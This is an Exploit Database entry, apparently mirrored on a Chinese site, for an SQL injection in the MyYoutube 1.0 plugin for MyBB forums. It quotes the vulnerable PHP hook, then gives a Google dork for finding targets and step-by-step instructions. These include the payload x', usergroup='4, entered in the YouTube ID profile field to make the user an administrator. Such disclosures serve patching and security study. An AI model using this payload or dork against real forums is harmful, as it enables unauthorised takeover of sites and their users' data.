MyYoutube MyBB Plugin 1.0 – SQL Injection

• Exploit Database
• 13 阅读

• 作者： Zixem
  日期： 2012-12-13
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/23353/

• # Exploit Title: MyYoutube MyBB plugin SQL UPDATE injection.
  # Google Dork: inurl:member.php intext:"Youtube Video" intitle:"Profile of"
  # Date: 12.10.2012
  # Exploit Author: Zixem
  # Vendor Homepage: http://www.mybb-es.com
  # Software Link: http://mods.mybb.com/view/myyoutube
  # Version: 1.0
  # Tested on: Linux.
  
  MyYoutube plugin suffers from POST SQL UPDATE injection.
  
  The vulnerabillity exist within youtube.php :
  <?php
  
  $plugins->add_hook("datahandler_user_update", "youtube_update"); /*Line 8*/ 
  
  function youtube_update($ytb) /*Line 128*/
   {
   	global $mybb;
   	if(isset($mybb->input['ytb']))
  	{
  		$ytb->user_update_data['ytb'] = $mybb->input['ytb'];
  	}
  }
  
  ?>
  
  Insturctions:
  (1) Go to usercp.php?action=profile
  
  (2) http://i.imgur.com/gPYdq.png
  Enter this in the youtube ID field(just like in the picture): x', usergroup='4
  
  (3) Press on the update button.
  
  (4) You're an admin now :3
  
  
  If you're still not admins, just play with the number...on my pentest forum, the admins usergroup number is 4.
  
  PoC: 
  before: http://i.imgur.com/aPFsz.png
  While exploiting: http://i.imgur.com/gPYdq.png
  Result: http://i.imgur.com/4ezpF.png
  
  
  http://twitter.com/z1xem
  
  -Zixem